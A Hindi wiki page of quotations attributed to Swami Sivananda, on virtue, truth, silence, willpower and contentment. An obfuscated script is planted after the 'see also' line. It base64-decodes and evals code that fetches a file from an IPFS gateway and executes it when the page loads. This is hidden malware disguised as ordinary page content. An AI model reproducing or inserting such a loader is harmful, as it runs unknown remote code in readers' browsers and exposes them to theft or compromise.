शिवानंद के अनमोल वचन

भारत डिस्कवरी प्रस्तुति
गोविन्द राम (चर्चा | योगदान) द्वारा परिवर्तित 14:19, 17 फ़रवरी 2017 का अवतरण ('<div style="float:right; width:98%; border:thin solid #aaaaaa; margin:10px"> {| width="98%" class="bharattable-purple" style="float:ri...' के साथ नया पृष्ठ बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
स्वामी शिवानंद के अनमोल वचन
  • सौंदर्य पवित्रता में रहता है और गुणों में चमकता है।
  • सच्ची संस्कृति मस्तिष्क, हृदय और हाथ का अनुशासन है।
  • खट्टा सत्य मधुर असत्य से अधिक अच्छा है।
  • मौन की भाषा वाणी की भाषा की अपेक्षा अधिक बलवती होती है।
  • संकल्प शक्ति मानसिक शक्तियों का शिरोमणि है।
  • आप दूसरों को तभी उठा सकते हैं, जब आप स्वयं ऊपर उठ चुके हों।
  • एकाग्रता आवेश को पवित्र और शांत कर देती है, विचारधारा को शक्तिशाली और कल्पना को स्पष्ट करती है।
  • महापुरुषों का विश्वास इतना प्रबल और अनन्य होता है कि वे कुछ से कुछ भी बना सकते हैं।
  • संतोष से बढ़कर अन्य कोई लाभ नहीं। जो मनुष्य इस विशेष सद्गुण से संपन्न है वह त्रिलोक में सबसे धनी व्यक्ति है।

इन्हें भी देखें: अनमोल वचन, कहावत लोकोक्ति मुहावरे एवं सूक्ति और कहावत<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


टीका टिप्पणी और संदर्भ

संबंधित लेख